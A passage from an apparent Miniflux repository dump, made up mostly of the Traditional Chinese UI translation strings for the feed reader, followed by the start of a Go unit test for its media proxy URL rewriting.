\"error.settings_keep_rule_fieldname_invalid\": \"無效的保留規則：規則 #%d 缺少有效的欄位名稱 (可用選項：%s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"無效的保留規則：規則 #%d 的模式不是合法的正規表示式\",\n    \"error.settings_keep_rule_regex_required\": \"無效的保留規則：規則 #%d 沒有提供正規表示式\",\n    \"error.settings_keep_rule_separator_required\": \"無效的保留規則：規則 #%d 的模式必須用 '=' 分隔\",\n    \"error.settings_mandatory_fields\": \"必須填寫使用者名稱、主題、語言以及時區\",\n    \"error.settings_media_playback_rate_range\": \"播放速度超出範圍\",\n    \"error.settings_reading_speed_is_positive\": \"閱讀速度必須是正整數。\",\n    \"error.site_url_not_empty\": \"Feed 網站的網址不能為空。\",\n    \"error.subscription_not_found\": \"找不到任何訂閱\",\n    \"error.title_required\": \"必須填寫標題\",\n    \"error.tls_error\": \"TLS 錯誤：%q。若需忽略 TLS 驗證，可在 Feed 設定中停用。\",\n    \"error.unable_to_create_api_key\": \"無法建立此 API 金鑰。\",\n    \"error.unable_to_create_category\": \"無法建立這個分類\",\n    \"error.unable_to_create_user\": \"無法建立此使用者\",\n    \"error.unable_to_detect_rssbridge\": \"使用 RSS-Bridge 無法找到任何訂閱：%v。\",\n    \"error.unable_to_parse_feed\": \"無法解析此 Feed：%v。\",\n    \"error.unable_to_update_category\": \"無法更新該分類\",\n    \"error.unable_to_update_feed\": \"無法更新此 Feed\",\n    \"error.unable_to_update_user\": \"無法更新此使用者\",\n    \"error.unlink_account_without_password\": \"您必須設定密碼，否則您將無法再次登入。\",\n    \"error.user_already_exists\": \"使用者已存在\",\n    \"error.user_mandatory_fields\": \"必須填寫使用者名稱\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token 和 Organization Slug 是必需的\",\n    \"form.api_key.label.description\": \"API 金鑰標籤\",\n    \"form.category.hide_globally\": \"在全域未讀列表中隱藏文章\",\n    \"form.category.label.title\": \"標題\",\n    \"form.feed.fieldset.general\": \"通用\",\n    \"form.feed.fieldset.integration\": \"第三方服務\",\n    \"form.feed.fieldset.network_settings\": \"網路設定\",\n    \"form.feed.fieldset.rules\": \"規則\",\n    \"form.feed.label.allow_self_signed_certificates\": \"允許自簽或無效的憑證\",\n    \"form.feed.label.apprise_service_urls\": \"使用逗號分隔的 Apprise 服務網址列表\",\n    \"form.feed.label.block_filter_entry_rules\": \"條目封鎖規則\",\n    \"form.feed.label.blocklist_rules\": \"基於正則表達式的封鎖過濾器\",\n    \"form.feed.label.category\": \"類別\",\n    \"form.feed.label.cookie\": \"設定 Cookies\",\n    \"form.feed.label.crawler\": \"下載原文內容\",\n    \"form.feed.label.ignore_entry_updates\": \"忽略條目更新\",\n    \"form.feed.label.description\": \"描述\",\n    \"form.feed.label.disable_http2\": \"停用 HTTP/2 以避免指紋追蹤\",\n    \"form.feed.label.disabled\": \"不要更新此 Feed\",\n    \"form.feed.label.feed_password\": \"Feed 密碼\",\n    \"form.feed.label.feed_url\": \"Feed 網址\",\n    \"form.feed.label.feed_username\": \"Feed 使用者名稱\",\n    \"form.feed.label.fetch_via_proxy\": \"使用應用程式層級設定的代理\",\n    \"form.feed.label.hide_globally\": \"在全域未讀列表中隱藏文章\",\n    \"form.feed.label.ignore_http_cache\": \"忽略 HTTP 快取\",\n    \"form.feed.label.keep_filter_entry_rules\": \"條目允許規則\",\n    \"form.feed.label.keeplist_rules\": \"基於正則表達式的保留過濾器\",\n    \"form.feed.label.no_media_player\": \"無媒體播放器 (音訊/視訊)\",\n    \"form.feed.label.ntfy_activate\": \"推送文章到 ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Ntfy 預設優先順序\",\n    \"form.feed.label.ntfy_high_priority\": \"Ntfy 高優先順序\",\n    \"form.feed.label.ntfy_low_priority\": \"Ntfy 低優先順序\",\n    \"form.feed.label.ntfy_max_priority\": \"Ntfy 最高優先順序\",\n    \"form.feed.label.ntfy_min_priority\": \"Ntfy 最低優先順序\",\n    \"form.feed.label.ntfy_priority\": \"Ntfy 優先順序\",\n    \"form.feed.label.ntfy_topic\": \"Ntfy topic (選填)\",\n    \"form.feed.label.proxy_url\": \"代理URL\",\n    \"form.feed.label.pushover_activate\": \"推送文章到 Pushover\",\n    \"form.feed.label.pushover_default_priority\": \"Pushover 預設優先順序\",\n    \"form.feed.label.pushover_high_priority\": \"Pushover 高優先順序\",\n    \"form.feed.label.pushover_low_priority\": \"Pushover 低優先順序\",\n    \"form.feed.label.pushover_max_priority\": \"Pushover 最高優先順序\",\n    \"form.feed.label.pushover_min_priority\": \"Pushover 最低優先順序\",\n    \"form.feed.label.pushover_priority\": \"Pushover 訊息優先順序\",\n    \"form.feed.label.rewrite_rules\": \"內容重寫規則\",\n    \"form.feed.label.scraper_rules\": \"抓取規則\",\n    \"form.feed.label.site_url\": \"網站網址\",\n    \"form.feed.label.title\": \"標題\",\n    \"form.feed.label.urlrewrite_rules\": \"網址重寫規則\",\n    \"form.feed.label.user_agent\": \"覆蓋預設的使用者代理\",\n    \"form.feed.label.webhook_url\": \"覆蓋webhook URL\",\n    \"form.import.label.file\": \"OPML 檔案\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"推送文章到 archive.org\",\n    \"form.integration.apprise_activate\": \"推送文章到 Apprise\",\n    \"form.integration.apprise_services_url\": \"使用逗號分隔的 Apprise 服務網址列表\",\n    \"form.integration.apprise_url\": \"Apprise API 網址\",\n    \"form.integration.betula_activate\": \"儲存文章到 Betula\",\n    \"form.integration.betula_token\": \"Betula令牌\",\n    \"form.integration.betula_url\": \"Betula 伺服器網址\",\n    \"form.integration.cubox_activate\": \"儲存文章到 Cubox\",\n    \"form.integration.cubox_api_link\": \"Cubox API 連結\",\n    \"form.integration.discord_activate\": \"推送文章到 Discord\",\n    \"form.integration.discord_webhook_link\": \"Discord Webhook 連結\",\n    \"form.integration.espial_activate\": \"儲存文章到 Espial\",\n    \"form.integration.espial_api_key\": \"Espial API 金鑰\",\n    \"form.integration.espial_endpoint\": \"Espial API 端點\",\n    \"form.integration.espial_tags\": \"Espial 標籤\",\n    \"form.integration.fever_activate\": \"啟用 Fever API\",\n    \"form.integration.fever_endpoint\": \"Fever API 端點\",\n    \"form.integration.fever_password\": \"Fever 密碼\",\n    \"form.integration.fever_username\": \"Fever 使用者名稱\",\n    \"form.integration.googlereader_activate\": \"啟用 Google Reader API\",\n    \"form.integration.googlereader_endpoint\": \"Google Reader API 端點：\",\n    \"form.integration.googlereader_password\": \"Google Reader 密碼\",\n    \"form.integration.googlereader_username\": \"Google Reader 使用者名稱\",\n    \"form.integration.instapaper_activate\": \"儲存文章到 Instapaper\",\n    \"form.integration.instapaper_password\": \"Instapaper 密碼\",\n    \"form.integration.instapaper_username\": \"Instapaper 使用者名稱\",\n    \"form.integration.karakeep_activate\": \"儲存文章到 Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Karakeep API 金鑰\",\n    \"form.integration.karakeep_url\": \"Karakeep API 端點\",\n    \"form.integration.karakeep_tags\": \"Karakeep 標籤\",\n    \"form.integration.linkace_activate\": \"儲存文章到 LinkAce\",\n    \"form.integration.linkace_api_key\": \"LinkAce API 金鑰\",\n    \"form.integration.linkace_check_disabled\": \"停用連結檢查\",\n    \"form.integration.linkace_endpoint\": \"LinkAce API 端點\",\n    \"form.integration.linkace_is_private\": \"標記為私人連結\",\n    \"form.integration.linkace_tags\": \"LinkAce 標籤\",\n    \"form.integration.linkding_activate\": \"儲存文章到 Linkding\",\n    \"form.integration.linkding_api_key\": \"Linkding API 金鑰\",\n    \"form.integration.linkding_bookmark\": \"標記為未讀\",\n    \"form.integration.linkding_endpoint\": \"Linkding API 端點\",\n    \"form.integration.linkding_tags\": \"Linkding 標籤\",\n    \"form.integration.linktaco_activate\": \"儲存文章到 LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API Token\",\n    \"form.integration.linktaco_api_token_hint\": \"在此取得您的個人存取權杖\",\n    \"form.integration.linktaco_org_slug\": \"組織代稱\",\n    \"form.integration.linktaco_tags\": \"標籤（最多10個，逗號分隔）\",\n    \"form.integration.linktaco_tags_hint\": \"最多10個標籤，逗號分隔\",\n    \"form.integration.linktaco_visibility\": \"可見性\",\n    \"form.integration.linktaco_visibility_public\": \"公開\",\n    \"form.integration.linktaco_visibility_private\": \"私人\",\n    \"form.integration.linktaco_visibility_hint\": \"私人可見性需要付費的 LinkTaco 帳戶\",\n    \"form.integration.linkwarden_activate\": \"儲存文章到 Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Linkwarden API 金鑰\",\n    \"form.integration.linkwarden_endpoint\": \"Linkwarden 基本 URL\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden Collection ID\",\n    \"form.integration.matrix_bot_activate\": \"推送文章到 Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"Matrix 房間 ID\",\n    \"form.integration.matrix_bot_password\": \"Matrix 密碼\",\n    \"form.integration.matrix_bot_url\": \"Matrix 伺服器網址\",\n    \"form.integration.matrix_bot_user\": \"Matrix 使用者名稱\",\n    \"form.integration.notion_activate\": \"儲存文章到 Notion\",\n    \"form.integration.notion_page_id\": \"Notion Page ID\",\n    \"form.integration.notion_token\": \"Notion Secret Token\",\n    \"form.integration.ntfy_activate\": \"推送文章到 Ntfy\",\n    \"form.integration.ntfy_api_token\": \"Ntfy API 金鑰 (選填)\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy Icon 網址 (選填)\",\n    \"form.integration.ntfy_internal_links\": \"點選時使用內部連結 (選填)\",\n    \"form.integration.ntfy_password\": \"Ntfy 密碼 (選填)\",\n    \"form.integration.ntfy_topic\": \"Ntfy topic (飼料若無設定，則使用預設值)\",\n    \"form.integration.ntfy_url\": \"Ntfy 網址 (選填，預設為 ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Ntfy 使用者名稱 (選填)\",\n    \"form.integration.nunux_keeper_activate\": \"儲存文章到 Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Nunux Keeper API 金鑰\",\n    \"form.integration.nunux_keeper_endpoint\": \"Nunux Keeper API 端點\",\n    \"form.integration.omnivore_activate\": \"儲存文章到 Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Omnivore API 金鑰\",\n    \"form.integration.omnivore_url\": \"Omnivore API 端點\",\n    \"form.integration.pinboard_activate\": \"儲存文章到 Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"標記為未讀\",\n    \"form.integration.pinboard_tags\": \"Pinboard 標籤\",\n    \"form.integration.pinboard_token\": \"Pinboard API Token\",\n    \"form.integration.pushover_activate\": \"推送文章到 Pushover\",\n    \"form.integration.pushover_device\": \"Pushover 裝置（選填）\",\n    \"form.integration.pushover_prefix\": \"Pushover URL 前綴（選填）\",\n    \"form.integration.pushover_token\": \"Pushover 應用程式 API 金鑰\",\n    \"form.integration.pushover_user\": \"Pushover 使用者金鑰\",\n    \"form.integration.raindrop_activate\": \"儲存文章到 Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"Collection ID\",\n    \"form.integration.raindrop_tags\": \"標籤 (以逗號分隔)\",\n    \"form.integration.raindrop_token\": \"Raindrop 存取金鑰\",\n    \"form.integration.readeck_activate\": \"儲存文章到 Readeck\",\n    \"form.integration.readeck_api_key\": \"Readeck API 金鑰\",\n    \"form.integration.readeck_endpoint\": \"Readeck API 端點\",\n    \"form.integration.readeck_labels\": \"Readeck 標籤\",\n    \"form.integration.readeck_only_url\": \"僅傳送網址（而不是完整內容）\",\n    \"form.integration.readeck_push_activate\": \"自動將新文章推送到 Readeck\",\n    \"form.integration.readwise_activate\": \"儲存文章到 Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Readwise Reader 存取金鑰\",\n    \"form.integration.readwise_api_key_link\": \"取得您的 Readwise 存取金鑰\",\n    \"form.integration.rssbridge_activate\": \"新增訂閱時檢查 RSS-Bridge\",\n    \"form.integration.rssbridge_token\": \"RSS-Bridge 驗證權杖\",\n    \"form.integration.rssbridge_url\": \"RSS-Bridge 伺服器的網址\",\n    \"form.integration.shaarli_activate\": \"儲存文章到 Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Shaarli API 金鑰\",\n    \"form.integration.shaarli_endpoint\": \"Shaarli 網址\",\n    \"form.integration.shiori_activate\": \"儲存文章到 Shiori\",\n    \"form.integration.shiori_endpoint\": \"Shiori API 端點\",\n    \"form.integration.shiori_password\": \"Shiori 密碼\",\n    \"form.integration.shiori_username\": \"Shiori 使用者名稱\",\n    \"form.integration.slack_activate\": \"推送文章到 Slack\",\n    \"form.integration.slack_webhook_link\": \"Slack Webhook 連結\",\n    \"form.integration.telegram_bot_activate\": \"推送文章到 Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"不顯示按鈕\",\n    \"form.integration.telegram_bot_disable_notification\": \"停用通知\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"停用網頁預覽\",\n    \"form.integration.telegram_bot_token\": \"Bot Token\",\n    \"form.integration.telegram_chat_id\": \"Chat ID\",\n    \"form.integration.telegram_topic_id\": \"Topic ID\",\n    \"form.integration.wallabag_activate\": \"儲存文章到 Wallabag\",\n    \"form.integration.wallabag_client_id\": \"Wallabag 客戶端 ID\",\n    \"form.integration.wallabag_client_secret\": \"Wallabag 客戶端金鑰\",\n    \"form.integration.wallabag_endpoint\": \"Wallabag 基本網址\",\n    \"form.integration.wallabag_only_url\": \"僅傳送網址（而不是完整內容）\",\n    \"form.integration.wallabag_password\": \"Wallabag 密碼\",\n    \"form.integration.wallabag_username\": \"Wallabag 使用者名稱\",\n    \"form.integration.wallabag_tags\": \"Wallabag Tags\",\n    \"form.integration.webhook_activate\": \"啟用 Webhooks\",\n    \"form.integration.webhook_secret\": \"Webhooks Secret\",\n    \"form.integration.webhook_url\": \"Default Webhook 網址\",\n    \"form.prefs.fieldset.application_settings\": \"應用程式設定\",\n    \"form.prefs.fieldset.authentication_settings\": \"使用者認證設定\",\n    \"form.prefs.fieldset.global_feed_settings\": \"全域 Feed 設定\",\n    \"form.prefs.fieldset.reader_settings\": \"閱讀器設定\",\n    \"form.prefs.help.external_font_hosts\": \"以空白分隔允許的外部字型來源。例如：「fonts.gstatic.com fonts.googleapis.com」。\",\n    \"form.prefs.label.always_open_external_links\": \"開啟外部連結閱讀文章\",\n    \"form.prefs.label.categories_sorting_order\": \"分類排序\",\n    \"form.prefs.label.cjk_reading_speed\": \"中文、韓文和日文的閱讀速度（每分鐘字元數）\",\n    \"form.prefs.label.custom_css\": \"自訂 CSS\",\n    \"form.prefs.label.custom_js\": \"自訂 JavaScript\",\n    \"form.prefs.label.default_home_page\": \"預設主頁\",\n    \"form.prefs.label.default_reading_speed\": \"其他語言的閱讀速度（每分鐘字）\",\n    \"form.prefs.label.display_mode\": \"漸進式網路應用程式（PWA）顯示模式\",\n    \"form.prefs.label.entries_per_page\": \"每頁文章數\",\n    \"form.prefs.label.entry_order\": \"文章排序依據\",\n    \"form.prefs.label.entry_sorting\": \"文章排序\",\n    \"form.prefs.label.entry_swipe\": \"在觸控式螢幕上啟用文章滑動\",\n    \"form.prefs.label.external_font_hosts\": \"外部字型來源\",\n    \"form.prefs.label.gesture_nav\": \"在文章之間導覽的手勢\",\n    \"form.prefs.label.keyboard_shortcuts\": \"啟用鍵盤快捷鍵\",\n    \"form.prefs.label.language\": \"語言\",\n    \"form.prefs.label.mark_read_manually\": \"僅手動標記為已讀\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"僅在音訊/視訊播放達 90% 時標記為已讀\",\n    \"form.prefs.label.mark_read_on_view\": \"檢視時自動將文章標記為已讀\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"檢視文章即標記為已讀；若是音訊/視訊則在 90% 播放完成時標記\",\n    \"form.prefs.label.media_playback_rate\": \"音訊/視訊播放速度\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"在新分頁中開啟外部連結（為連結加上 target=\\\"_blank\\\"）\",\n    \"form.prefs.label.show_reading_time\": \"顯示文章的預計閱讀時間\",\n    \"form.prefs.label.theme\": \"主題\",\n    \"form.prefs.label.timezone\": \"時區\",\n    \"form.prefs.select.alphabetical\": \"按字母順序\",\n    \"form.prefs.select.browser\": \"瀏覽器\",\n    \"form.prefs.select.created_time\": \"文章建立時間\",\n    \"form.prefs.select.fullscreen\": \"全螢幕\",\n    \"form.prefs.select.minimal_ui\": \"最小\",\n    \"form.prefs.select.none\": \"無\",\n    \"form.prefs.select.older_first\": \"舊→新\",\n    \"form.prefs.select.publish_time\": \"文章發布時間\",\n    \"form.prefs.select.recent_first\": \"新→舊\",\n    \"form.prefs.select.standalone\": \"獨立\",\n    \"form.prefs.select.swipe\": \"滑動\",\n    \"form.prefs.select.tap\": \"雙擊\",\n    \"form.prefs.select.unread_count\": \"未讀計數\",\n    \"form.submit.loading\": \"載入中…\",\n    \"form.submit.saving\": \"儲存中…\",\n    \"form.user.label.admin\": \"管理員\",\n    \"form.user.label.confirmation\": \"再次輸入密碼\",\n    \"form.user.label.password\": \"密碼\",\n    \"form.user.label.username\": \"使用者名稱\",\n    \"menu.about\": \"關於\",\n    \"menu.add_feed\": \"新增 Feed\",\n    \"menu.add_user\": \"新建使用者\",\n    \"menu.api_keys\": \"API 金鑰\",\n    \"menu.categories\": \"分類\",\n    \"menu.create_api_key\": \"建立一個新的 API 金鑰\",\n    \"menu.create_category\": \"新建分類\",\n    \"menu.edit_category\": \"編輯\",\n    \"menu.edit_feed\": \"編輯\",\n    \"menu.export\": \"匯出\",\n    \"menu.feed_entries\": \"文章\",\n    \"menu.feeds\": \"Feeds\",\n    \"menu.flush_history\": \"清理歷史\",\n    \"menu.history\": \"歷史\",\n    \"menu.home_page\": \"主頁\",\n    \"menu.import\": \"匯入\",\n    \"menu.integrations\": \"整合\",\n    \"menu.logout\": \"登出\",\n    \"menu.mark_all_as_read\": \"全部標為已讀\",\n    \"menu.mark_page_as_read\": \"將此頁面標記為已讀\",\n    \"menu.preferences\": \"設定\",\n    \"menu.refresh_all_feeds\": \"在背景更新所有 Feed\",\n    \"menu.refresh_feed\": \"更新\",\n    \"menu.search\": \"搜尋\",\n    \"menu.sessions\": \"工作階段\",\n    \"menu.settings\": \"設定\",\n    \"menu.shared_entries\": \"已分享的文章\",\n    \"menu.show_all_entries\": \"顯示所有文章\",\n    \"menu.show_only_starred_entries\": \"僅顯示收藏文章\",\n    \"menu.show_only_unread_entries\": \"僅顯示未讀文章\",\n    \"menu.starred\": \"收藏\",\n    \"menu.title\": \"導覽\",\n    \"menu.unread\": \"未讀\",\n    \"menu.users\": \"使用者\",\n    \"page.about.author\": \"作者：\",\n    \"page.about.build_date\": \"建構日期：\",\n    \"page.about.credits\": \"版權\",\n    \"page.about.db_usage\": \"資料庫大小：\",\n    \"page.about.git_commit\": \"Git 提交：\",\n    \"page.about.global_config_options\": \"全域設定選項\",\n    \"page.about.go_version\": \"Go 版本：\",\n    \"page.about.license\": \"授權：\",\n    \"page.about.postgres_version\": \"Postgres 版本：\",\n    \"page.about.title\": \"關於\",\n    \"page.about.version\": \"版本：\",\n    \"page.add_feed.choose_feed\": \"選擇一個 Feed\",\n    \"page.add_feed.label.url\": \"網址\",\n    \"page.add_feed.legend.advanced_options\": \"進階選項\",\n    \"page.add_feed.no_category\": \"沒有類別，至少需要有一個類別\",\n    \"page.add_feed.submit\": \"查詢 Feed\",\n    \"page.add_feed.title\": \"新增 Feed\",\n    \"page.api_keys.never_used\": \"沒用過\",\n    \"page.api_keys.table.actions\": \"操作\",\n    \"page.api_keys.table.created_at\": \"建立日期\",\n    \"page.api_keys.table.description\": \"描述\",\n    \"page.api_keys.table.last_used_at\": \"最後使用\",\n    \"page.api_keys.table.token\": \"金鑰\",\n    \"page.api_keys.title\": \"API 金鑰\",\n    \"page.categories.entries\": \"檢視內容\",\n    \"page.categories.feed_count\": [\n        \"有 %d 個 Feed\"\n    ],\n    \"page.categories.feeds\": \"檢視 Feeds\",\n    \"page.categories.no_feed\": \"沒有 Feed\",\n    \"page.categories.title\": \"分類\",\n    \"page.categories_count\": [\n        \"%d 個分類\"\n    ],\n    \"page.category_label\": \"分類：%s\",\n    \"page.edit_category.title\": \"編輯分類 : %s\",\n    \"page.edit_feed.etag_header\": \"ETag 標頭：\",\n    \"page.edit_feed.last_check\": \"最後檢查時間：\",\n    \"page.edit_feed.last_modified_header\": \"最後修改的 Header：\",\n    \"page.edit_feed.last_parsing_error\": \"最後一次解析錯誤\",\n    \"page.edit_feed.no_header\": \"無\",\n    \"page.edit_feed.title\": \"編輯 Feed : %s\",\n    \"page.edit_user.title\": \"編輯使用者 : %s\",\n    \"page.entry.attachments\": \"附件\",\n    \"page.feeds.error_count\": [\n        \"%d 錯誤\"\n    ],\n    \"page.feeds.last_check\": \"最後檢查時間：\",\n    \"page.feeds.next_check\": \"下次檢查時間：\",\n    \"page.feeds.read_counter\": \"已讀文章數\",\n    \"page.feeds.title\": \"Feeds\",\n    \"page.footer.elevator\": \"返回頂部\",\n    \"page.history.title\": \"歷史\",\n    \"page.import.title\": \"匯入\",\n    \"page.integration.bookmarklet\": \"書籤小工具\",\n    \"page.integration.bookmarklet.help\": \"您可以透過這個特殊的書籤直接訂閱網站\",\n    \"page.integration.bookmarklet.instructions\": \"拖動這個連結到瀏覽器書籤欄\",\n    \"page.integration.bookmarklet.name\": \"收藏 Miniflux\",\n    \"page.integration.miniflux_api\": \"Miniflux API\",\n    \"page.integration.miniflux_api_endpoint\": \"API 端點\",\n    \"page.integration.miniflux_api_password\": \"密碼\",\n    \"page.integration.miniflux_api_password_value\": \"您帳號的密碼\",\n    \"page.integration.miniflux_api_username\": \"使用者名稱\",\n    \"page.integrations.title\": \"整合\",\n    \"page.keyboard_shortcuts.close_modal\": \"關閉對話視窗\",\n    \"page.keyboard_shortcuts.download_content\": \"下載原文內容\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"轉到底端項目\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"開啟分類頁面\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"轉到 Feed 頁面\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"開啟 Feeds 頁面\",\n    \"page.keyboard_shortcuts.go_to_history\": \"開啟歷史頁面\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"下一文章\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"下一頁\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"上一文章\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"上一頁\",\n    \"page.keyboard_shortcuts.go_to_search\": \"將焦點放在搜尋表單上\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"開啟設定頁面\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"開啟收藏頁面\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"轉到頂端項目\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"開啟未讀頁面\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"將此頁面標記為已讀\",\n    \"page.keyboard_shortcuts.open_comments\": \"開啟評論連結\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"在目前標籤頁中開啟評論連結\",\n    \"page.keyboard_shortcuts.open_item\": \"開啟選定的文章\",\n    \"page.keyboard_shortcuts.open_original\": \"開啟原始連結\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"在目前標籤頁中開啟原始連結\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"在背景更新所有 Feed\",\n    \"page.keyboard_shortcuts.remove_feed\": \"刪除此 Feed\",\n    \"page.keyboard_shortcuts.save_article\": \"儲存文章\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"捲動到頂端\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"顯示快捷鍵幫助\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"操作\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"文章導覽\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"頁面導覽\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"分欄導覽\",\n    \"page.keyboard_shortcuts.title\": \"快捷鍵\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"切換收藏狀態\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"展開/折疊文章附件\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"切換已讀/未讀狀態，並聚焦到下一個\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"切換已讀/未讀狀態，並聚焦到上一個\",\n    \"page.login.google_signin\": \"使用 Google 登入\",\n    \"page.login.oidc_signin\": \"使用 %s 登入\",\n    \"page.login.title\": \"登入\",\n    \"page.login.webauthn_login\": \"使用密碼登入\",\n    \"page.login.webauthn_login.error\": \"無法使用密碼登入\",\n    \"page.login.webauthn_login.help\": \"使用安全金鑰登入時，請輸入使用者名稱。若使用可探索式 Passkey 則無需輸入。\",\n    \"page.new_api_key.title\": \"新的 API 金鑰\",\n    \"page.new_category.title\": \"新分類\",\n    \"page.new_user.title\": \"新使用者\",\n    \"page.offline.message\": \"您已離線\",\n    \"page.offline.refresh_page\": \"嘗試重新整理頁面\",\n    \"page.offline.title\": \"離線模式\",\n    \"page.read_entry_count\": [\n        \"%d 篇已讀文章\"\n    ],\n    \"page.search.title\": \"搜尋結果\",\n    \"page.sessions.table.actions\": \"操作\",\n    \"page.sessions.table.current_session\": \"目前工作階段\",\n    \"page.sessions.table.date\": \"日期\",\n    \"page.sessions.table.ip\": \"IP 位址\",\n    \"page.sessions.table.user_agent\": \"使用者代理\",\n    \"page.sessions.title\": \"工作階段\",\n    \"page.settings.link_google_account\": \"關聯我的 Google 帳號\",\n    \"page.settings.link_oidc_account\": \"關聯我的 %s 帳號\",\n    \"page.settings.title\": \"設定\",\n    \"page.settings.unlink_google_account\": \"解除 Google 帳號關聯\",\n    \"page.settings.unlink_oidc_account\": \"解除 %s 帳號關聯\",\n    \"page.settings.webauthn.actions\": \"操作\",\n    \"page.settings.webauthn.added_on\": \"新增時間\",\n    \"page.settings.webauthn.delete\": [\n        \"刪除 %d 個 Passkey\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"最後使用時間\",\n    \"page.settings.webauthn.passkey_name\": \"Passkey 名稱\",\n    \"page.settings.webauthn.passkeys\": \"Passkeys\",\n    \"page.settings.webauthn.register\": \"註冊 Passkey\",\n    \"page.settings.webauthn.register.error\": \"無法註冊 Passkey\",\n    \"page.shared_entries.title\": \"已分享的文章\",\n    \"page.shared_entries_count\": [\n        \"已分享 %d 篇文章\"\n    ],\n    \"page.starred.title\": \"收藏\",\n    \"page.starred_entry_count\": [\n        \"%d 篇收藏文章\"\n    ],\n    \"page.total_entry_count\": [\n        \"總共 %d 篇文章\"\n    ],\n    \"page.unread.title\": \"未讀\",\n    \"page.unread_entry_count\": [\n        \"%d 篇未讀文章\"\n    ],\n    \"page.users.actions\": \"操作\",\n    \"page.users.admin.no\": \"否\",\n    \"page.users.admin.yes\": \"是\",\n    \"page.users.is_admin\": \"管理員\",\n    \"page.users.last_login\": \"最後登入時間\",\n    \"page.users.never_logged\": \"從未登入\",\n    \"page.users.title\": \"使用者\",\n    \"page.users.username\": \"使用者名稱\",\n    \"page.webauthn_rename.title\": \"重新命名 Passkey\",\n    \"pagination.first\": \"第一頁\",\n    \"pagination.last\": \"最後一頁\",\n    \"pagination.next\": \"下一頁\",\n    \"pagination.previous\": \"上一頁\",\n    \"search.label\": \"搜尋\",\n    \"search.placeholder\": \"搜尋…\",\n    \"search.submit\": \"送出\",\n    \"skip_to_content\": \"跳到主要內容\",\n    \"time_elapsed.days\": [\n        \"%d 天前\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d 小時前\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d 分鐘前\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d 個月前\"\n    ],\n    \"time_elapsed.not_yet\": \"未來\",\n    \"time_elapsed.now\": \"剛剛\",\n    \"time_elapsed.weeks\": [\n        \"%d 週前\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d 年前\"\n    ],\n    \"time_elapsed.yesterday\": \"昨天\",\n    \"tooltip.keyboard_shortcuts\": \"快捷鍵：%s\",\n    \"tooltip.logged_user\": \"目前登入 %s\"\n}\n"
  },
  {
    "path": "internal/mediaproxy/media_proxy_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage mediaproxy // import \"miniflux.app/v2/internal/mediaproxy\"\n\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\nfunc TestRewriteDocumentWithRelativeProxyURL_None_Image(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"none\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"http://website/folder/image.png\" alt=\"Test\"/></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><img src=\"http://website/folder/image.png\" alt=\"Test\"/></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_None_Audio(t *testing.T) 